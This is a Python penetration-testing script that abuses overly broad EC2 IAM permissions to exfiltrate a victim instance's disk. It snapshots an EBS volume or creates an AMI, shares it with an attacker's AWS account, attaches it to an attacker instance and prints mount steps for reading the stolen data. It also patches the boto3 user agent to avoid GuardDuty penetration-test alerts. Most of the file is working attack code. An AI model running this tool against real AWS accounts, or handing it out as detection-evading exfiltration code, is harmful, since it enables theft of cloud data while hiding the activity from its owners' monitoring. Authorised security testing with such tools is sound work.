mgeeky-Penetration-Testing-.../clouds/aws/exfiltrate-ec2.py

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2019-12-04 17:56:56 +01:00
#!/usr/bin/python3
#
# This script abuses insecure permissions given to the EC2 IAM Role to exfiltrate target EC2's
# filesystem data in a form of it's shared EBS snapshot or publicly exposed AMI image.
#
# CreateSnapshot:
# Abuses:
# ec2:CreateSnapshot
# ec2:ModifySnapshotAttribute
#
# The script will firstly create an EBS volume snapshot of the provided volume id. Then it will
# modify that snapshot's attributes to make it available for the foreign AWS Account that's going to
# be the Attacker's account. Then, the attacker will be able to create an EBS volume out of that snapshot.
# After doing so, the script will stop specified by the Attacker EC2 instance in order to later on attach it
# with a previously created volume. Afterwards, the instance will be restarted and the attacker will be able
# to mount freshly attached volume in the operating system to further examine its contents.
#
# This technique is safe to be demonstrated during AWS Penetration tests.
#
#
# CreateImage:
# Abuses:
# ec2:CreateImage
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# ec2:ModifyImageAttribute
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#
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# NOT FULLY IMPLEMENTED YET.
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# For this technique, the procedure is following - the script will create an image out of specified victim's EC2
# instance. This image will become publicly available (caution with client sensitive data!). After that, the script
# will attempt to create/import public SSH RSA keys to the attacker's account and then create an EC2 instance using that
# publicly available just created AMI image. Ultimately, the attacker will be able to SSH into newly created box to
# further examine it's filesystem contents.
#
# WARNING: Since this method creates a publicly available AMI image that will contain customer sensitive data, it is
# not recommended to use it during legal AWS Penetration Tests
#
# Author: Mariusz B. / mgeeky, '19, <mb@binary-offensive.com>
#
import sys
import pyjq
import json
import time
import boto3
import argparse
from botocore.exceptions import ClientError
config = {
'verbose' : False,
'region' : '',
'victim' : {
'profile' : '',
'access-key' : '',
'secret-key' : '',
'token' : '',
},
'attacker' : {
'profile' : '',
'access-key' : '',
'secret-key' : '',
'token' : '',
},
'method' : '',
'volume-id': '',
'instance-id': '',
'attach-instance-id': '',
}
class Logger:
@staticmethod
def _out(x):
sys.stdout.write(x + '\n')
@staticmethod
def out(x):
Logger._out('[>] ' + x)
@staticmethod
def info(x):
if config['verbose']:
Logger._out('[.] ' + x)
@staticmethod
def fatal(x):
sys.stdout.write('[!] ' + x + '\n')
sys.exit(1)
@staticmethod
def fail(x):
Logger._out('[-] ' + x)
@staticmethod
def ok(x):
Logger._out('[+] ' + x)
class ExfiltrateEC2:
session = None
def __init__(self, region, attacker_keys, victim_keys):
self.region = region
self.keys = {
'attacker' : {},
'victim' : {},
}
self.keys['attacker'] = attacker_keys
self.keys['victim'] = victim_keys
self.session = {
'attacker' : None,
'victim' : None,
}
Logger.info(f"Using region: {region}")
Logger.info("Authenticating using Attacker's AWS credentials...")
self.session['attacker'] = self.authenticate(region, attacker_keys)
Logger.info("Authenticating using Victim's AWS credentials...")
self.session['victim'] = self.authenticate(region, victim_keys)
def authenticate(self, region, keys):
session = None
try:
if keys['profile']:
session = boto3.Session(
profile_name = keys['profile'],
region_name = region
)
else:
session = boto3.Session(
aws_access_key_id = keys['access-key'],
aws_secret_access_key = keys['secret-key'],
aws_session_token = keys['token'],
region_name = region
)
except Exception as e:
Logger.fail(f'Could not authenticate to AWS: {e}')
raise e
return session
def get_session(self, whose):
return self.session[whose]
def get_account_id(self, whose):
try:
return self.session[whose].client('sts').get_caller_identity()['Account']
except Exception as e:
Logger.fatal(f'Could not Get Caller\'s identity: {e}')
def create_snapshot(self, attacker_instance_id, volume_id, availability_zone):
victim_client = self.session['victim'].client('ec2')
attacker_client = self.session['attacker'].client('ec2')
target_user = self.get_account_id('attacker')
snapshot = None
volume_created = None
modify_result = None
Logger.out(f"Step 1: Creating EBS volume snapshot. VolumeId = {volume_id}")
try:
snapshot = victim_client.create_snapshot(
Description = f'Exfiltrated EBS snapshot of volume: {volume_id}',
VolumeId = volume_id
)
Logger.ok(f"Snapshot of volume {volume_id} created: {snapshot['SnapshotId']}")
except Exception as e:
Logger.fatal(f"ec2:CreateSnapshot action on Victim failed. Exception: {e}")
Logger.out(f"Step 2: Modifying snapshot attributes to share it with UserId = {target_user}")
try:
modify_result = victim_client.modify_snapshot_attribute(
Attribute = f'createVolumePermission',
OperationType = 'add',
SnapshotId = snapshot['SnapshotId'],
UserIds = [
target_user,
]
)
Logger.ok(f"Snapshot's attributes modified to share it with user {target_user}")
except Exception as e:
Logger.fatal(f"ec2:ModifySnapshotAttribute action on Victim failed. Exception: {e}")
Logger.out(f"Step 3: Waiting for the snapshot to transit into completed state.")
try:
victim_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot['SnapshotId']])
except Exception as e:
Logger.fail(f"boto3 Waiter for snapshot completed state failed. Exception: {e}")
Logger.info("Waiting in a traditional manner: 3 minutes.")
time.sleep(3 * 60)
Logger.out(f"Step 4: Creating EBS volume in Attacker's {target_user} AWS account.")
attacker_instance_data = None
try:
if not availability_zone:
availability_zone = self.region + 'a'
attacker_instance = attacker_client.describe_instances(
InstanceIds = [attacker_instance_id, ]
)
for inst in attacker_instance['Reservations'][0]['Instances']:
if inst['InstanceId'] == attacker_instance_id:
availability_zone = inst['Placement']['AvailabilityZone']
attacker_instance_data = inst
Logger.info(f"Obtained Attacker's EC2 instance Availbility Zone automatically: {availability_zone}")
break
except Exception as e:
Logger.fail(f"THIS MAY BE FATAL: Could not enumerate attacker's instance with given InstanceId = {attacker_instance_id}")
Logger.fail(f"Exception: {e}")
raise e
availability_zone = self.region + 'a'
try:
volume_created = attacker_client.create_volume(
AvailabilityZone = availability_zone,
Encrypted = False,
VolumeType = 'gp2',
SnapshotId = snapshot['SnapshotId']
)
Logger.ok(f"Created EBS volume ({volume_created['VolumeId']} at Attacker's side out from exfiltrated snapshot ({snapshot['SnapshotId']})")
except Exception as e:
Logger.fail(f"ec2:CreateVolume action on Attacker failed. Exception: {e}")
Logger.out(f"Step 5: Waiting for the volume to transit into created state.")
try:
attacker_client.get_waiter('volume_available').wait(VolumeIds=[volume_created['VolumeId']])
except Exception as e:
Logger.fail(f"boto3 Waiter for volume available failed. Exception: {e}")
Logger.info("Waiting in a traditional manner: 3 minutes.")
time.sleep(3 * 60)
Logger.out(f"Step 6: Attaching created EBS volume to Attacker's specified EC2 instance")
try:
attacker_client.attach_volume(
Device = '/dev/xvdf',
InstanceId = attacker_instance_id,
VolumeId = volume_created['VolumeId']
)
Logger.ok(f"Attached volume to the specified Attacker's EC2 instance: {attacker_instance_id}")
except Exception as e:
if 'IncorrectInstanceState' in str(e):
Logger.fail("Attacker's machine is in running state, preventing to attach it a volume.")
Logger.info("Trying to stop the EC2 instance, then attach the volume and then restart it.")
try:
attacker_instance = attacker_client.stop_instances(
InstanceIds = [attacker_instance_id, ]
)
attacker_client.get_waiter('instance_stopped').wait(InstanceIds = [attacker_instance_id, ])
attacker_client.attach_volume(
Device = '/dev/xvdf',
InstanceId = attacker_instance_id,
VolumeId = volume_created['VolumeId']
)
Logger.ok(f"Attached volume to the specified Attacker's EC2 instance: {attacker_instance_id}")
except Exception as e:
Logger.fail(f"ec2:AttachVolume action on Attacker failed. Exception: {e}")
Logger.fail("Tried to automatically stop attacker's EC2 instance, then attach volume and restart it, but that failed as well.")
Logger.fail(f"Exception: " + str(e))
Logger.info("Restarting it...")
attacker_instance = attacker_client.start_instances(
InstanceIds = [attacker_instance_id, ]
)
attacker_client.get_waiter('instance_running').wait(InstanceIds = [attacker_instance_id, ])
try:
attacker_instance = attacker_client.describe_instances(
InstanceIds = [attacker_instance_id, ]
)
for inst in attacker_instance['Reservations'][0]['Instances']:
if inst['InstanceId'] == attacker_instance_id:
attacker_instance_data = inst
break
except: pass
else:
Logger.fail(f"ec2:AttachVolume action on Attacker failed. Exception: {e}")
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try:
Logger.out(f"Cleanup. Trying to remove created snapshot ({snapshot['SnapshotId']}) at Victim's estate...")
victim_client.delete_snapshot(SnapshotId = snapshot['SnapshotId'])
Logger.ok(f"Snapshot removed.")
except Exception as e:
Logger.fail(f"(That's ok) ec2:DeleteSnapshot action on Victim failed. Exception: {e}")
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ssh_command = 'SSH to the attacker\'s EC2 instance\n'
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if attacker_instance_data:
try:
ip = attacker_instance_data['PublicIpAddress']
except:
Logger.fail(f"Could not obtain Attacker's EC2 Public ip address. Available fields:\n {attacker_instance_data}\n")
ip = "ec2-ip-address"
if ip:
ssh_command = f'''SSH to the attacker's EC2 instance
# ssh ec2-user@{ip}
'''
print(f'''
===============================================================
[MODULE FINISHED]
===============================================================
[+] Exfiltrated snapshot of a victim's EBS volume:
VictimVolumeId = {volume_id}
[+] By creating a snapshot of it, shared to the attacker's AWS user ID.
SnapshotId = {snapshot['SnapshotId']}
If everything went fine, Attacker's AWS account {target_user} should have a EBS volume now:
AttackerVolumeId = {volume_created['VolumeId']}
That was attached to the specified attacker's EC2 instance:
AttackerInstanceId = {attacker_instance_id}
AvailibityZone = {availability_zone}
Most likely as a '/dev/xvdf' device.
===============================================================
To examine exfiltrated data:
0) {ssh_command}
1) List block devices mapped:
# lsblk
2) If above listing yielded mapped block device, e.g. xvdf, create a directory for it:
# mkdir /exfiltrated
3) Mount that device's volume:
# mount /dev/xvdf1 /exfiltrated
4) Review it's contents:
# ls -l /exfiltrated
''')
return True
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def create_image(self, instance_id, image_name, image_description):
victim_client = self.session['victim'].client('ec2')
attacker_client = self.session['attacker'].client('ec2')
created_image = None
try:
Logger.out("Step 1: Creating a publicly available AMI image out of specified EC2 instance.")
created_image = victim_client.create_image(
InstanceId = instance_id,
Name = image_name,
Description = image_description
)
Logger.ok(f"AMI Image with name: ({image_name}) created: {created_image['ImageId']}")
except Exception as e:
Logger.fatal(f"ec2:CreateImage action on Victim failed. Exception: {e}")
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target_user = self.get_account_id('attacker')
Logger.out(f"Step 2: Modifying image attributes to share it with UserId = {target_user}")
try:
modify_result = victim_client.modify_image_attribute(
Attribute = 'launchPermission',
ImageId = created_image['ImageId'],
OperationType = 'add',
UserIds = [
target_user,
]
)
Logger.ok(f"Image's attributes modified to share it with user {target_user}")
except Exception as e:
Logger.fatal(f"ec2:ModifyImageAttribute action on Victim failed. Exception: {e}")
# Step 3: Import custom SSH RSA public key
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# client.import_key_pair(
# KeyName = "Some key name"
# PublicKeyMaterial = "key material"
# )
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# Step 4: Create an instance from exported AMI
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# client.run_instances(
# ImageId = "ami-00000000",
# SecurityGroupIds = ["sg-00000", ],
# SubnetId = "subnet-aaaaaa",
# Count = 1,
# InstanceType = "t2.micro",
# KeyName = "Some key name",
# Query = "Instances[0].InstanceId",
# )
# Returns:
# "i-00001111002222"
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# Step 5: Connect to that EC2 instance
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# client.describe_instances(
# InstanceIds = ["i-00001111002222"],
# Query = "Reservations[0].Instances[0].PublicIpAddress"
# )
# Returns:
# "1.2.3.4"
#
# $ ssh ec2-user@1.2.3.4
# $ ls -l
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print(f"""
===============================================================
[!] REST OF THE EXPLOIT LOGIC HAS NOT BEEN IMPLEMENTED YET.
===============================================================
[.] You can proceed manually from this point:
1) Create an EC2 instance in region: {self.region}
2) Make sure this EC2 instance is being created out of public AMI image with ID:
Image ID: {created_image['ImageId']}
3) Setup SSH keys, Security Groups, etc.
4) SSH into that machine.
Created EC2 instance's filesystem will be filled with files coming from the exfiltrated EC2.
""")
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def parseOptions(argv):
global config
print('''
:: exfiltrate-ec2
Exfiltrates EC2 data by creating an image of it or snapshot of it's EBS volume
Mariusz B. / mgeeky '19, <mb@binary-offensive.com>
''')
parser = argparse.ArgumentParser(prog = argv[0])
parser._action_groups.pop()
required = parser.add_argument_group('required arguments')
optional = parser.add_argument_group('optional arguments')
attacker = parser.add_argument_group('Attacker\'s AWS credentials - where to instantiate exfiltrated EC2')
victim = parser.add_argument_group('Victim AWS credentials - where to find EC2 to exfiltrate')
required.add_argument('--region', type=str, help = 'AWS Region to use.')
attacker.add_argument('--profile', type=str, help = 'Attacker\'s AWS Profile name to use if --access-key was not specified', default = 'default')
attacker.add_argument('--access-key', type=str, help = 'Attacker\'s AWS Access Key ID to use if --profile was not specified')
attacker.add_argument('--secret-key', type=str, help = 'Attacker\'s AWS Secret Key ID')
attacker.add_argument('--token', type=str, help = '(Optional) Attacker\'s AWS temporary session token')
victim.add_argument('--victim-profile', type=str, help = 'Victim\'s AWS Profile name to use if --access-key was not specified')
victim.add_argument('--victim-access-key', type=str, help = 'Victim\'s AWS Access Key ID to use if --profile was not specified')
victim.add_argument('--victim-secret-key', type=str, help = 'Victim\'s AWS Secret Key ID')
victim.add_argument('--victim-token', type=str, help = '(Optional) Victim\'s AWS temporary session token')
optional.add_argument('-v', '--verbose', action='store_true', help='Display verbose output.')
subparsers = parser.add_subparsers(help='Available methods', dest='method')
a = 'Creates a snapshot of a running or stopped EC2 instance in an AMI image form.'\
' This AMI image will then be shared with another AWS account, constituing exfiltration opportunity.'
createimage = subparsers.add_parser('createimage', help = a)
createimage.add_argument('--instance-id', help = '(Required) Specifies instance id (i-...) to create an image of.')
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createimage.add_argument('--image-name', default = "Exfiltrated AMI image", type=str, help = '(Optional) Specifies a name for newly created AMI image. Default: "Exfiltrated AMI image"')
createimage.add_argument('--image-desc', default = "Exfiltrated AMI image", type=str, help = '(Optional) Specifies a description for newly created AMI image. Default: "Exfiltrated AMI image"')
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b = 'Creates a snapshot of an EBS volume used by an EC2 instance.'\
' This snapshot will then be shared with another AWS account, constituing exfiltration opportunity.'
createsnapshot = subparsers.add_parser('createsnapshot', help = b)
createsnapshot.add_argument('--volume-id', help = '(Required) Specifies EBS volume id (vol-...) to create a snapshot of.')
createsnapshot.add_argument('--attach-instance-id', help = '(Required) Specifies Attacker\'s instance ID where snapshot should be attached as a volume (i-...). This instance must be created in the same region as specified and must be in a STOPPED state. Otherwise, this script will automatically stop the instance and then restart it after attaching volume.')
createsnapshot.add_argument('--availability-zone', help = '(Optional) Specifies in which Attacker\'s EC2 instance availability zone was placed. If this parameter is not specified, the program will try to invoke ec2:DescribeInstances to find that information automatically.')
args = parser.parse_args()
config['verbose'] = args.verbose
config['region'] = args.region
if args.method == 'createimage':
if args.instance_id != None:
config['instance-id'] = args.instance_id
else:
Logger.fatal('--instance-id parameter is required for this to work.')
if args.method == 'createsnapshot':
if args.volume_id != None and args.attach_instance_id != None:
config['volume-id'] = args.volume_id
config['attach-instance-id'] = args.attach_instance_id
config['availability-zone'] = args.availability_zone
else:
Logger.fatal('--volume-id and --attach-instance-id parameters are required for this to work.')
if not args.region:
Logger.fatal("Please provide AWS region to operate in.")
if args.profile and (args.access_key or args.secret_key or args.token):
Logger.fatal("There should only be used either profile name or raw credentials for Attacker's AWS keys!")
if args.victim_profile and (args.victim_access_key or args.victim_secret_key or args.victim_token):
Logger.fatal("There should only be used either profile name or raw credentials for Victim's AWS keys!")
if args.profile:
config['attacker']['profile'] = args.profile
Logger.info(f"Using attacker's profile: {args.profile}")
elif args.access_key and args.secret_key:
config['attacker']['access-key'] = args.access_key
config['attacker']['secret-key'] = args.secret_key
config['attacker']['token'] = args.token
Logger.info(f"Using passed Attacker's AWS credentials: ******{args.access_key[-6:]}")
else:
Logger.fatal("Both access key and secret key must be specified for Attacker's AWS credentials if profile was not used!")
if args.victim_profile:
config['victim']['profile'] = args.victim_profile
Logger.info(f"Using victim's profile: {args.victim_profile}")
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elif args.victim_access_key and args.victim_secret_key:
config['victim']['access-key'] = args.victim_access_key
config['victim']['secret-key'] = args.victim_secret_key
config['victim']['token'] = args.victim_token
Logger.info(f"Using passed Victim's AWS credentials: ******{args.victim_access_key[-6:]}")
else:
Logger.fatal("Both access key and secret key must be specified for Victim's AWS credentials if profile was not used!")
return args
def monkeyPatchBotocoreUserAgent():
'''
This is to avoid triggering GuardDuty 'PenTest:IAMUser/KaliLinux' alerts
Source:
https://www.thesubtlety.com/post/patching-boto3-useragent/
'''
import sys
import boto3
import botocore
try:
from _pytest.monkeypatch import MonkeyPatch
except (ImportError, ModuleNotFoundError) as e:
print('[!] Please install "pytest" first: pip3 install pytest')
print('\tthis will be used to patch-up boto3 library to avoid GuardDuty Kali detection')
sys.exit(0)
monkeypatch = MonkeyPatch()
def my_user_agent(self):
return "Boto3/1.9.89 Python/2.7.12 Linux/4.2.0-42-generic"
monkeypatch.setattr(botocore.session.Session, 'user_agent', my_user_agent)
def main(argv):
opts = parseOptions(argv)
if not opts:
Logger.err('Options parsing failed.')
return False
monkeyPatchBotocoreUserAgent()
exp = ExfiltrateEC2(
opts.region,
config['attacker'],
config['victim'],
)
if opts.method == 'createimage':
Logger.info("Abusing ec2:CreateImage...")
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exp.create_image(opts.instance_id, opts.image_name, opts.image_desc)
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elif opts.method == 'createsnapshot':
Logger.out("Abusing dangerous ec2:CreateSnapshot and ec2:ModifySnapshotAttribute...\n")
exp.create_snapshot(opts.attach_instance_id, opts.volume_id, opts.availability_zone)
else:
Logger.fatal(f"Unknown method specified: {opts.method}")
if __name__ == '__main__':
main(sys.argv)